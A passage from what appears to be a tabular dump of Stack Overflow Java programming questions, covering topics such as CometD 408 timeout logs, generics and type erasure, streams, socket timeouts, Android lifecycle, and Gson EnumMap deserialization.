logger.info ( `` Messages failed `` + x.getMessage ( ) ) ; logger.debug ( `` Messages failed . Reason : `` + Arrays.toString ( messages ) , x ) ; } } 2017-06-22 17:59:37.221 [ HttpClient-2123 ] DEBUG c.q.q.n.i.eventhost.EventHostClient - Messages failed . Reason : [ { id=4681 , connectionType=long-polling , channel=/meta/connect , clientId=btom76smmlh9g4dyq2fkcd61 } ] java.net.ProtocolException : Unexpected response 408 : TransportExchange @ 5332249c=POST//10.2.2.250:18080/cometd/connect # CONTENT ( 0ms ) - > COMPLETED ( 0ms ) sent=1012ms at org.cometd.client.BayeuxClient $ PublishTransportListener.onProtocolError ( BayeuxClient.java:1161 ) [ cometd-java-client-2.5.0.jar : na ] at org.cometd.client.transport.LongPollingTransport $ TransportExchange.onResponseComplete ( LongPollingTransport.java:324 ) [ cometd-java-client-2.5.0.jar : na ] at org.eclipse.jetty.client.HttpExchange $ Listener.onResponseComplete ( HttpExchange.java:1158 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.client.HttpExchange.setStatus ( HttpExchange.java:305 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.client.AbstractHttpConnection $ Handler.messageComplete ( AbstractHttpConnection.java:337 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.http.HttpParser.parseNext ( HttpParser.java:637 ) [ jetty-http-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.http.HttpParser.parseAvailable ( HttpParser.java:235 ) [ jetty-http-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.client.AsyncHttpConnection.handle ( AsyncHttpConnection.java:133 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.io.nio.SelectChannelEndPoint.handle ( SelectChannelEndPoint.java:627 ) [ jetty-io-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.io.nio.SelectChannelEndPoint $ 1.run ( SelectChannelEndPoint.java:51 ) [ jetty-io-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob ( QueuedThreadPool.java:608 ) [ jetty-util-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.util.thread.QueuedThreadPool $ 3.run ( QueuedThreadPool.java:543 ) [ jetty-util-7.6.7.v20120910.jar:7.6.7.v20120910 ] at java.lang.Thread.run ( Thread.java:745 ) [ na:1.7.0_67 ] 2017-06-22 17:59:37.221 [ HttpClient-2123 ] DEBUG c.q.q.n.i.sms.ChannelSubscriber - Recieved connection FAILED | { `` message '' : { `` id '' : '' 4681 '' , '' connectionType '' : '' long-polling '' , '' channel '' : '' /meta/connect '' , '' clientId '' : '' btom76smmlh9g4dyq2fkcd61 '' } , '' id '' : '' 4681 '' , '' org.cometd.client.publishCallback '' : null , '' exception '' : '' java.net.ProtocolException : Unexpected response 408 : TransportExchange @ 5332249c=POST//10.2.2.250:18080/cometd/connect # CONTENT ( 0ms ) - > COMPLETED ( 0ms ) sent=1012ms '' , '' successful '' : false , '' channel '' : '' /meta/connect '' } to subscriber id : 12017-06-22 17:59:37.221 [ pool-513-thread-1 ] DEBUG c.q.q.n.i.e.E.1264409962 - Connecting , transport org.cometd.client.transport.LongPollingTransport @ 43e7229c2017-06-22 17:59:37.221 [ pool-513-thread-1 ] DEBUG c.q.q.n.i.e.E.1264409962 - Sending messages [ { id=4683 , connectionType=long-polling , channel=/meta/connect , clientId=btom76smmlh9g4dyq2fkcd61 } ] 2017-06-22 17:59:39.221 [ pool-513-thread-1 ] DEBUG c.q.q.n.i.e.E.1264409962 - Connecting , transport org.cometd.client.transport.LongPollingTransport @ 43e7229c2017-06-22 17:59:39.225 [ pool-513-thread-1 ] DEBUG c.q.q.n.i.e.E.1264409962 - Sending messages [ { id=4684 , connectionType=long-polling , channel=/meta/connect , clientId=btom76smmlh9g4dyq2fkcd61 } ] 2017-06-22 17:59:39.230 [ HttpClient-2123 ] DEBUG c.q.q.n.i.e.E.1264409962 - State update : CONNECTED - > UNCONNECTED2017-06-22 17:59:39.230 [ HttpClient-2123 ] INFO c.q.q.n.i.eventhost.EventHostClient - Messages failed Unexpected response 408 : TransportExchange @ 101a870=POST//10.2.2.250:18080/cometd/connect # CONTENT ( 0ms ) - > COMPLETED ( 0ms ) sent=2009ms2017-06-22 17:59:39.230 [ HttpClient-2123 ] DEBUG c.q.q.n.i.eventhost.EventHostClient - Messages failed . Reason : [ { id=4683 , connectionType=long-polling , channel=/meta/connect , clientId=btom76smmlh9g4dyq2fkcd61 } ] java.net.ProtocolException : Unexpected response 408 : TransportExchange @ 101a870=POST//10.2.2.250:18080/cometd/connect # CONTENT ( 0ms ) - > COMPLETED ( 0ms ) sent=2009ms at org.cometd.client.BayeuxClient $ PublishTransportListener.onProtocolError ( BayeuxClient.java:1161 ) [ cometd-java-client-2.5.0.jar : na ] at org.cometd.client.transport.LongPollingTransport $ TransportExchange.onResponseComplete ( LongPollingTransport.java:324 ) [ cometd-java-client-2.5.0.jar : na ] at org.eclipse.jetty.client.HttpExchange $ Listener.onResponseComplete ( HttpExchange.java:1158 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.client.HttpExchange.setStatus ( HttpExchange.java:305 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.client.AbstractHttpConnection $ Handler.messageComplete ( AbstractHttpConnection.java:337 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.http.HttpParser.parseNext ( HttpParser.java:637 ) [ jetty-http-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.http.HttpParser.parseAvailable ( HttpParser.java:235 ) [ jetty-http-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.client.AsyncHttpConnection.handle ( AsyncHttpConnection.java:133 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.io.nio.SelectChannelEndPoint.handle ( SelectChannelEndPoint.java:627 ) [ jetty-io-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.io.nio.SelectChannelEndPoint $ 1.run ( SelectChannelEndPoint.java:51 ) [ jetty-io-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob ( QueuedThreadPool.java:608 ) [ jetty-util-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.util.thread.QueuedThreadPool $ 3.run ( QueuedThreadPool.java:543 ) [ jetty-util-7.6.7.v20120910.jar:7.6.7.v20120910 ] at java.lang.Thread.run ( Thread.java:745 ) [ na:1.7.0_67 ] 2017-06-22 17:59:39.230 [ HttpClient-2123 ] DEBUG c.q.q.n.i.sms.ChannelSubscriber - Recieved connection FAILED | { `` message '' : { `` id '' : '' 4683 '' , '' connectionType '' : '' long-polling '' , '' channel '' : '' /meta/connect '' , '' clientId '' : '' btom76smmlh9g4dyq2fkcd61 '' } , '' id '' : '' 4683 '' , '' org.cometd.client.publishCallback '' : null , '' exception '' : '' java.net.ProtocolException : Unexpected response 408 : TransportExchange @ 101a870=POST//10.2.2.250:18080/cometd/connect # CONTENT ( 0ms ) - > COMPLETED ( 0ms ) sent=2009ms '' , '' successful '' : false , '' channel '' : '' /meta/connect '' } to subscriber id : 12017-06-22 17:59:40.231 [ pool-513-thread-1 ] DEBUG c.q.q.n.i.e.E.1264409962 - Connecting , transport org.cometd.client.transport.LongPollingTransport @ 43e7229c2017-06-22 17:59:40.231 [ pool-513-thread-1 ] DEBUG c.q.q.n.i.e.E.1264409962 - Sending messages [ { id=4685 , connectionType=long-polling , advice= { timeout=0 } , channel=/meta/connect , clientId=btom76smmlh9g4dyq2fkcd61 } ] 2017-06-22 17:59:40.236 [ HttpClient-2120 ] DEBUG c.q.q.n.i.e.E.1264409962 - State update : UNCONNECTED - > UNCONNECTED2017-06-22 17:59:40.236 [ HttpClient-2124 ] DEBUG c.q.q.n.i.e.E.1264409962 - Processing meta connect { id=4685 , successful=true , channel=/meta/connect , advice= { interval=0 , reconnect=retry , timeout=30000 } } 2017-06-22 17:59:40.236 [ HttpClient-2120 ] INFO c.q.q.n.i.eventhost.EventHostClient - Messages failed Unexpected response 408 : TransportExchange @ 13d95194=POST//10.2.2.250:18080/cometd/connect # CONTENT ( 0ms ) - > COMPLETED ( 0ms ) sent=1010ms2017-06-22 17:59:40.236 [ HttpClient-2124 ] DEBUG c.q.q.n.i.e.E.1264409962 - State update : UNCONNECTED - > CONNECTED2017-06-22 17:59:40.236 [ HttpClient-2124 ] DEBUG c.q.q.n.i.sms.ChannelSubscriber - Recieved connection confirmed | { `` id '' : '' 4685 '' , '' successful '' : true , '' channel '' : '' /meta/connect '' , '' advice '' : { `` interval '' :0 , '' reconnect '' : '' retry '' , '' timeout '' :30000 } } to subscriber id : 12017-06-22 17:59:40.236 [ HttpClient-2120 ] DEBUG c.q.q.n.i.eventhost.EventHostClient - Messages failed . Reason : [ { id=4684 , connectionType=long-polling , channel=/meta/connect , clientId=btom76smmlh9g4dyq2fkcd61 } ] java.net.ProtocolException : Unexpected response 408 : TransportExchange @ 13d95194=POST//10.2.2.250:18080/cometd/connect # CONTENT ( 0ms ) - > COMPLETED ( 0ms ) sent=1010ms at org.cometd.client.BayeuxClient $ PublishTransportListener.onProtocolError ( BayeuxClient.java:1161 ) [ cometd-java-client-2.5.0.jar : na ] at org.cometd.client.transport.LongPollingTransport $ TransportExchange.onResponseComplete ( LongPollingTransport.java:324 ) [ cometd-java-client-2.5.0.jar : na ] at org.eclipse.jetty.client.HttpExchange $ Listener.onResponseComplete ( HttpExchange.java:1158 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.client.HttpExchange.setStatus ( HttpExchange.java:305 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.client.AbstractHttpConnection $ Handler.messageComplete ( AbstractHttpConnection.java:337 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.http.HttpParser.parseNext ( HttpParser.java:637 ) [ jetty-http-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.http.HttpParser.parseAvailable ( HttpParser.java:235 ) [ jetty-http-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.client.AsyncHttpConnection.handle ( AsyncHttpConnection.java:133 ) [ jetty-client-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.io.nio.SelectChannelEndPoint.handle ( SelectChannelEndPoint.java:627 ) [ jetty-io-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.io.nio.SelectChannelEndPoint $ 1.run ( SelectChannelEndPoint.java:51 ) [ jetty-io-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob ( QueuedThreadPool.java:608 ) [ jetty-util-7.6.7.v20120910.jar:7.6.7.v20120910 ] at org.eclipse.jetty.util.thread.QueuedThreadPool $ 3.run ( QueuedThreadPool.java:543 ) [ jetty-util-7.6.7.v20120910.jar:7.6.7.v20120910 ] at java.lang.Thread.run ( Thread.java:745 ) [ na:1.7.0_67 ]",Unexpected response 408 log in cometd client side +Java,"My goal is to be able to count groups of the same integer within an array . For example , in an array like so , { 1 , 1 , 1 , 2 , 2 , 3 , 1 , 1 } , there are 4 groups : of at least size 1 : 3 groups of at least size 2 : 1 group of at least size 3 I 'm having issues accomplishing this without sorting the array . When it gets sorted I lose count of the group of two 1 's at the end of the array , since it gets put next to the other groups of 1's.This expected output for each size is as follows : The actual output is as follows : The difference is a result of the array being sorted prior to the count taking place . Is there any way to accomplish this ? Edit : A group is essentially any place where the same integer repeats , until an integer of a different value , is ahead of it ; so , the groups of size 2 in this in this code are any at index 0 to 2 ( inclusive ) , index 4 - 5 ( inclusive ) , index 6 - 15 ( inclusive , index 16 - 18 ( inclusive , and index 20 -22 ( inclusive ) . Since there are 5 groups that are of at least size 2 a count of 5 should be returned.An imperative style of code for my goal.The expected return for this is the same as above.The actual return is : The problem with this loop is I believe it is skipping first piece and the end piece of the array . I 'm not having the same sorting issue as the Stream way . Ideally , this would n't require any external utilities/libraries .","int result = ( int ) Stream.of ( 1 , 1 , 1 , 2 , 1 , 1 , 3 , 3 , 3 , 3 , 3 , 3 , 3 , 3 , 3 , 3 , 4 , 4 , 4 , 5 , 4 , 4 , 4 , 6 ) .collect ( Collectors.groupingBy ( i - > i ) ) .entrySet ( ) .stream ( ) .filter ( entry - > entry.getValue ( ) .size ( ) > = 1 ) // specify the size .count ( ) return result ; size 1 count == 8size 2 count == 5size 6 count == 1size 8 count == 1 size 1 count == 6size 2 count == 3size 6 count == 2size 8 count == 1 Scanner key = new Scanner ( `` 1 1 1 2 1 1 3 3 3 3 3 3 3 3 3 3 4 4 4 5 4 4 4 6 '' ) ; int cnt = 0 ; int counter = 0 ; int i = 0 ; while ( key.hasNextInt ( ) ) { int next = key.nextInt ( ) ; if ( next == array [ i ] ) { counter++ ; } if ( i + 1 < array.length & & i -1 > = 0 & & counter > =size & & next ! = array [ i + 1 ] & & next == array [ i-size + 1 ] ) { cnt++ ; counter = 0 ; } i++ ; } return cnt ; size 1 count == 7size 2 count == 5size 6 count == 3size 8 count == 1","How to count groups of integers within arrays , without sorting the array ?" +Java,"I have a question regarding the Law of Demeter in relation to Lists contained within other objects in Java . I have the following class.To add a new Message object to conversationList in this class I would typically do something like the following.After a bit of reading this would appear to violate the Law of Demeter and adding a method to Converstaion like the following , would be `` better '' way to approach this.However this seems like complete overkill to me . What is the best practice approach in this this situation ?",public class Conversation { Person person ; List < Message > conversationList ; public List < Message > getConversationList ( ) { return conversationList ; } } Conversationc = new Conversation ( ) ; c.getConversationList ( ) .add ( new Message ( ) ) ; public List < Message > addMessageToList ( Message msg ) { conversationList.add ( msg ) ; },Law of Demeter - why do I need to use a getter ? +Java,"So I have this interfaceand I want to derive classes for it that handle events , like so : Above example works fine . But compiler wo n't let me implement EventHandler multiple times , due to the extremely frustrating Type Erasure.Several questions ... Why does Java not allow Type Erasure ? IIRC it is something to do with being compatible with earlier versions of Java , correct ? EDIT : I mean why does Java have Type Erasure ( had it the other way around ) Is there any sort of `` mod '' / '' extension '' ( for lack of a better word ) or programming languages that allow me to get around Type Erasure ? As I am not using older versions of Java I do n't care about my code being compatible with older code.Are there any workarounds , within the Java language , that I can use to get around Type Erasure ? If no , what are some alternate ways to code event handling in my program that keeps the compiler happy ?","public interface EventHandler < E extends EventObject > { public void handleEvent ( E event ) ; } public class WorkingHandler implements EventHandler < MouseEvent > { public void handleEvent ( MouseEvent event ) { //handle event } } public class NotWorkingHandler implements EventHandler < MouseEvent > , EventHandler < KeyEvent > { public void handleEvent ( MouseEvent event ) { //handle mouse event } public void handleEvent ( KeyEvent event ) { //handle key event } }","Type Erasure rears its ugly head , how to circumvent ?" +Java,"I have a function : It works great , but if I place my .JAR file onto for example C : \Ares ! ! ! \myfile.jar it fails and I do n't see my icons . I 've observed that my URL is file : /C : /Ares ! ! ! /myfile.jar ! /com/test/images/img.png . So after JAR extension there is the ! symbol ! I think this is the main reason ! What can I do to avoid this problem ? Thanks .",public static ImageIcon GetIconImageFromResource ( String path ) { URL url = ARMMain.class.getResource ( path ) ; return new ImageIcon ( url ) ; },Java - Special URLs characters +Java,"I know that Stream.concat exists ( doc ) to concatenate two streams . However , I have run into cases where I need to add `` a few more '' items to an existing stream , and then continue processing on it . In such a situation , I would have expected to be able to chain together methods like : However , no such instance-level chainable append/concat method exists.This is n't a question asking for solutions to this problem , or more elegant approaches ( although I would of course be grateful for any other viewpoints ! ) . Rather , I 'm asking about the design factors that led to this decision . The Stream interface was , I trust , designed by some extremely smart people who are aware of the Principle of Least Astonishment - so , I must assume that their decision to omit this ( to me ) intuitively-obvious method signifies either that the method is an antipattern , or that it is not possible due to some technical limitation . I 'd love to know the reason .","getStream ( someArg ) .map ( Arg : :getFoo ) .concat ( someOtherStreamOfFoos ) // Or append , or ... .map ( ... )",Why is there no Instance-level Stream.concat method in Java ? +Java,"I was trying to grasp how socket read timeout is processed in native code and found some strange hardcoded value of 5000 milliseconds there : Source : http : //hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/windows/native/java/net/SocketInputStream.cAs I can see , the variable isRcvTimeoutSupported is generally set to true , but could be dropped to false when setting socket options : Source : http : //hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/windows/native/java/net/TwoStacksPlainSocketImpl.cWhile I 'm not quite sure , it looks like read timeout is supposed to be set through socket options when higher than 5 seconds and through NET_Timeout if less or equal to 5 seconds . Is it correct ? And anyway , where these hardcoded 5 seconds come from ? I do not see any explanation on MSDN .","if ( timeout ) { if ( timeout < = 5000 || ! isRcvTimeoutSupported ) { int ret = NET_Timeout ( fd , timeout ) ; ... .. ... .. } } /* * SO_RCVTIMEO is only supported on Microsoft 's implementation * of Windows Sockets so if WSAENOPROTOOPT returned then * reset flag and timeout will be implemented using * select ( ) -- see SocketInputStream.socketRead . */ if ( isRcvTimeoutSupported ) { jclass iCls = ( *env ) - > FindClass ( env , `` java/lang/Integer '' ) ; jfieldID i_valueID ; jint timeout ; CHECK_NULL ( iCls ) ; i_valueID = ( *env ) - > GetFieldID ( env , iCls , `` value '' , `` I '' ) ; CHECK_NULL ( i_valueID ) ; timeout = ( *env ) - > GetIntField ( env , value , i_valueID ) ; /* * Disable SO_RCVTIMEO if timeout is < = 5 second . */ if ( timeout < = 5000 ) { timeout = 0 ; } if ( setsockopt ( fd , SOL_SOCKET , SO_RCVTIMEO , ( char * ) & timeout , sizeof ( timeout ) ) < 0 ) { if ( WSAGetLastError ( ) == WSAENOPROTOOPT ) { isRcvTimeoutSupported = JNI_FALSE ; } else { NET_ThrowCurrent ( env , `` setsockopt SO_RCVTIMEO '' ) ; } } ... ... ... ... }",Socket read timeout under windows : strange hardcode in native method +Java,"I 'm going to write my own Python-Java interface . It is compiled as a DLL andwrapped using ctypes.Yet , it is possible to find Java-classes and allocate Java-objects.But what would be an interface to another language without using those objectsmethods ? My aim is to make this as natural as possible . Unfortunately , it is n't just possible to find Java-methods only by name.My model is the following : JClassAn instance of this class represents a Java class.JObjectAn instance of this class represents a Java-object . It has to beinitialized with a JClass-instance . ( yet , of course , later thereshould be arguments for the constructor also . ) JMethodRepresents a method of a Java-object . It contains the name and signature of the desired method . The signature is evaluated dynamically by the classes that are given on initialization.Example : Note that JStringArray is an instance of JClass that represents a string-array.A JMethod can be added to a JClass instance . But can then be called only from an instantiated JObject.JStaticMethodJust like the JMethod , but it can also be called from a JClassinstance.Built-In typesI 'm doing JInt , JShort , JLont , JChar , etc.. to be thebuilt-in wrapper types.Like : Question ( s ) : What do you think about this design ? The JNI-Functions for calling methods of a Java-class / -object all take a variable amount of arguments . After reading several topics on calling a function with variable arguments from a function that does so , and also asked a question here on SO , I 'm aware that this is not possible . Now , are there functions that do n't take a variable number of arguments but a va_list or something ? I just need to find some way to call a method from Python in Java !","mainMethod = JMethod ( 'main ' , JStringArray ) JInt = JClass ( 'java/lang/Integer ' ) JShort = JClass ( 'java/lang/Short ' ) JString = JClass ( 'java/lang/String ' )","My Python-Java Interface , good design ? And how to wrap JNI Functions ?" +Java,"I 'm building a library , which has the following structure : The intended usage is : users of my library call init ( ) in the first Activity they create . The problem is that I do n't unregister BroadcastReceiver and it leaks when app is closed . I could create a method called deinit ( ) and ask the users of lib to call it when leaving Activity , but is there a more reliable way for me to free resources ? Why do I need receiver ? If there is no Internet connection and performAction ( ) can not send data , I register receiver to detect connectivity state change .",MySDK { public static void init ( Context context ) { registerReceivers ( ) ; // Register connectivity BroadcastReceiver here } public static void performAction ( ) { } ; },How do I avoid BroadcastReceiver leakage +Java,"I 'm new to Java , learning Java from the Oracle Java tutorial.I 'm now learning about nested classes , static classes and inner classes.I found the following explanation which seems odd , and I think it is wrong.From : https : //docs.oracle.com/javase/tutorial/java/javaOO/nested.html A nested class is a member of its enclosing class . Non-static nested classes ( inner classes ) have access to other members of the enclosing class , even if they are declared private . Static nested classes do not have access to other members of the enclosing classThe last sentence `` Static nested classes do not have access to other members of the enclosing class '' is strange , but may refer to instance members , saying the static class is like a static method , having no access to instance variables.But the next note is even stranger : Note : A static nested class interacts with the instance members of its outer class ( and other classes ) just like any other top-level class . In effect , a static nested class is behaviorally a top-level class that has been nested in another top-level class for packaging convenience.This seems odd , as it implies that a static class can not access private instance members of the outer class . I 've written the following code which compiles and runs , and demonstrates that a static class can access outer instance private variables.Is this a mistake in the tutorial , or am I maybe not understanding something well ? Thanks",public class A { private int x ; static private int y ; static public class B { static void doSomething ( ) { y++ ; System.out.println ( `` y is now `` + y ) ; } static void doSomethingElse ( A a ) { a.x++ ; System.out.println ( `` a.x is `` + a.x ) ; } } } // -- -- -- public class Main { public static void main ( String [ ] args ) { A a = new A ( ) ; A.B b = new A.B ( ) ; b.doSomething ( ) ; b.doSomethingElse ( a ) ; } },Oracle Java tutorial - static classes - possible error in tutorial +Java,"I understand what wrappers are , but from the documentation you seem to be able to get an instance of a Class object of type int . Does this return the wrapper or some sort of Class instance of int ? Because it would n't make sense if it did , due to generics and type erasure . Is n't it true that you can only get Class instances of actual classes not primitives ? When they say represent do they mean wrapper of something else ? Here is what the JavaDoc says , and why I 'm confused",TYPEpublic static final Class TYPE The Class instance representing the primitive type int . Since : JDK1.1,What does int.class return +Java,"OutputEdit 1 : I was not correct . It did not removed 1.02 secEdit 2 : Interesting , I was confused by the output for toString ( ) ; - ( -08:00 , -07:52:58 ) Edit 3 : With Java Calendar , I do n't see any differences : Output :","DateTime start = new DateTime ( ) .withYear ( 1884 ) ; System.out.println ( start ) ; System.out.println ( start.minusYears ( 1 ) ) ; 1884-01-11T08:26:10.234-08:001883-01-11T08:26:10.234-07:52:58 DateTime start = new DateTime ( ) .withYear ( 1884 ) ; DateTime other = start.minusYears ( 1 ) ; long diffMs = start.getMillis ( ) - other.getMillis ( ) ; //31536422000 Calendar cal = Calendar.getInstance ( ) ; cal.set ( start.getYear ( ) , start.getMonthOfYear ( ) , start.getDayOfMonth ( ) , start.getHourOfDay ( ) , start.getMinuteOfHour ( ) , start.getSecondOfDay ( ) ) ; System.out.println ( cal.getTime ( ) ) ; cal = Calendar.getInstance ( ) ; cal.set ( start.getYear ( ) - 1 , start.getMonthOfYear ( ) , start.getDayOfMonth ( ) , start.getHourOfDay ( ) , start.getMinuteOfHour ( ) , start.getSecondOfDay ( ) ) ; System.out.println ( cal.getTime ( ) ) ; Mon Feb 11 18:46:42 PST 1884Sun Feb 11 18:46:42 PST 1883","Why when year is less than 1884 , it remove few milliseconds ?" +Java,"Sorry if this was already explained , but i did n't find similar threads anywhere in web.Today I opened one project class in IDE and saw an error ( red underline ) , though project was compiled successfully.So , the code is : And now we call this method like this : Idea13 gives me error ( incompatible types ) - I think that 's right.Idea14 does not show any errors here.JDK compiles it without errors - that 's sad.Must say , that in our project implementation class of A interface always implements B interface ( possibly explains why Idea14 says it is OK ) , but in my opinion that ca n't justify this behaviour - because generally I can create class that implements A and does n't implement B. I want static typization in my code , I do not want to see runtime class cast exceptions.So , who 's wrong here ? Upd . Add a screenshot with real classes ( not sure it will explain something more , it 's just the same as I described )",public interface DatasourceImplementation < T extends Entity > { ... . } public interface Datasource < T extends Entity > { ... . } public interface DsContext { @ Nullable < T extends Datasource > T get ( String name ) ; } DatasourceImplementation dsImpl = getDsContext ( ) .get ( `` dsName '' ) ;,No compiler error about incompatible casts +Java,"when I run the code the result is 57 ( that is the correct result of 100 , 20 , 30 , 80 average ) but I create a Consumer that should increment the result by 3 ... but it seems to not work.Can someone help me ?","public class TestSupplier { Optional < Integer > opt1 ; public static void main ( String [ ] args ) { // TODO Auto-generated method stub TestSupplier ts1 = new TestSupplier ( ) ; ts1.opt1 = ts1.average ( 100,20,30,80 ) ; Consumer < Integer > cns1 = ( x ) - > x += 3 ; ts1.opt1.ifPresent ( cns1 ) ; System.out.println ( ts1.opt1.get ( ) ) ; } private Optional < Integer > average ( int ... n1 ) { if ( n1.length == 0 ) return Optional.empty ( ) ; int sum = 0 ; for ( int score : n1 ) sum += score ; return Optional.of ( sum/n1.length ) ; } }",Why Java 's Optional does n't call Consumer in ifPresent ( ) ? +Java,So I have the following array : I want to shuffle only the first 9 elements of this array . I used the following code but it shuffles the entire array.How would I shuffle only a part of the array rather than the whole thing ? I am making quite a simple program so I would like to keep using the Collections class however all solutions are welcome . Thanks,String [ ] randomList = new String [ 16 ] ; randomList [ 0 ] = '' Dog '' ; randomList [ 1 ] = '' Dog '' ; randomList [ 2 ] = '' Cat '' ; randomList [ 3 ] = '' Cat '' ; randomList [ 4 ] = '' Mouse '' ; randomList [ 5 ] = '' Mouse '' ; randomList [ 6 ] = '' Car '' ; randomList [ 7 ] = '' Car '' ; randomList [ 8 ] = '' Phone '' ; randomList [ 9 ] = '' Phone '' ; randomList [ 10 ] = '' Game '' ; randomList [ 11 ] = '' Game '' ; randomList [ 12 ] = '' Computer '' ; randomList [ 13 ] = '' Computer '' ; randomList [ 14 ] = '' Toy '' ; randomList [ 15 ] = '' Toy '' ; Collections.shuffle ( Arrays.asList ( randomList ) ) ;,How to call Collections.Shuffle on only part of an array Java +Java,"Im trying to scroll successfully on Appium using the following code : However , am getting a javascript error when trying to scroll beyond the bottom of the UITableView due to a known appium issue : https : //github.com/appium/appium/issues/4836This issue alongside the fact appium 's isDisplayed ( ) method always returns true ( whether or not the cell is visible on the screen ) and appium is unable to click on a non-visible cell , means that appium is unable to scroll and select objects.Has anyone found a way around this ?","// javaJavascriptExecutor js = ( JavascriptExecutor ) driver ; HashMap < String , String > scrollObject = new HashMap < String , String > ( ) ; scrollObject.put ( `` direction '' , `` down '' ) ; scrollObject.put ( `` element '' , ( ( RemoteWebElement ) element ) .getId ( ) ) ; js.executeScript ( `` mobile : scroll '' , scrollObject ) ;",Appium not able to scroll on iOS 8.4 +Java,"I want to model the following situation in OOP : I want that the Freight class to be an abstract class , because I would like that my program charges some extra fees according to the Degree of Hazardousness that one piece of cargo has.Actually the problem that I got is that I want that the Freight class to be an array of objects . I mean that it can store Piece of luggages and Pieces of Cargo . My question is where can I put a method call addItem ? should I put it into the Piece of Luggage and Piece of Cargo classes ? or should I put a general abstract method called addItem into the Freight class ? something like this ( I am using Java for this purpose ) : so that in my main program I can do something like : any suggestion where I can put that addItem method ? , so that the class Freight contains an array of objects of type luggage and cargo ? Thanks","abstract class Freight { //other things hereprotected Freight [ ] fr=Freight [ 10 ] ; protected int numItems ; abstract addItem ( ) ; } class PieceOfLuggage extends Freight { //other things public PieceOfLuggage ( int iden , double weight , int id ) { super ( iden , weight , id ) } public addItem ( ) { fr [ numItems ] =this ; numItems++ ; } } class PieceOfCargo extends Freight { private degreeHazard ; public PieceOfCargo ( int iden , double weight , int id , int degHazard ) { super ( iden , weight , id ) ; degreeHazard=degHazard ; } public addItem ( ) { fr [ numItems ] =this ; numItems++ ; } } Luggage l1=new Luggage ( 100,50,1234 ) ; //ident , weight , idCargo c1=new Cargo ( 300,123.56,1111,1 ) ; //ident , weight , id , degree of hazardl1.addItem ( ) ; c1.addItem ( ) ;",issue when implementing abstract method in Java +Java,"I would like to understand a way to perform a flatMap while using Collectors . Here is an example.Scenario : I have the following interfaces : And I 'm trying to implement the following method : The classification function is pretty straitforward , my problem is with the downstream collector . I need to count the number of `` C '' associated with `` A '' .What I tried to to : If I wanted to simply return the count , without creating a map , I would do : But the Collectors class only allows me to do mapping operations . What else can I try to do ? Thanks .","interface Ic { //empty } interface Ib { Stream < Ic > getCs ( ) ; } interface Ia { String getName ( ) ; Stream < Ib > getBs ( ) ; } Map < String , Long > total_of_C_per_A ( Stream < Ia > streamOfA ) { return streamOfA.collect ( groupBy ( Ia : :getName , ? ? ? ) ) ; } streamOfA .flatMap ( Ia : :getBs ) .flatMap ( Ib : :getCs ) .count ( ) ;",Perform flatMap operation with Collectors +Java,"Java 8 's : : enables method referencing via method name alone.But , however , according to BeanFactory Interface ( Spring ) getBean ( ) getBean does not take empty parameters - Some parameter values are expected : getBean ( String name ) getBean ( String name , Class requiredType ) getBean ( String name , Object [ ] args ) How is this resolved ?",protected Object loadBeanController ( String url ) throws IOException { loader = new FXMLLoader ( getClass ( ) .getResource ( url ) ) ; ApplicationContext context = MyProjectClass.getApplicationContext ( ) ; loader.setControllerFactory ( context : :getBean ) ; return loader.getController ( ) ; },Java 8 's missing parameters when using : : +Java,I 've been studying Google IO 2012 codeIn one of the activities ( HomeActivity.java ) they 're doing as follows : I wonder why they do not put return right after finish ( ) but instead checking isFinishing ( ) ?,void onCreate ( Bundle savedInstance ) { if ( someCondition ) { // start some other activity here finish ( ) ; // finish this activity } if ( isFinishing ( ) ) return ; // More code here },Ca n't understand isFinishing +Java,"I 'm trying to figure out how to deserialize an EnumMap . I have been using the Gson library for everything else so far and have been successful . This is proving difficult.Here 's a basic idea : When I run the above code , I get a java.lang.ClassCastException : java.util.LinkedHashMap can not be cast to java.util.EnumMapSo it seems to me that the Gson library is not creating the EnumMap , but trying to convert after it 's made the LinkedHashMap.So I thought I 'd go make my own deserialization logic . Here 's an implementation that works . But.. it 's kinda janky.So it works , but it 's not pretty . And it 's very specific . I 'd really like to abstract this into something like ... Does anyone have any idea on : 1 ) How to improve the first method ? 2 ) How to make the abstract version work ? Thanks !","import java.lang.reflect.Type ; import com.google.gson.reflect.TypeToken 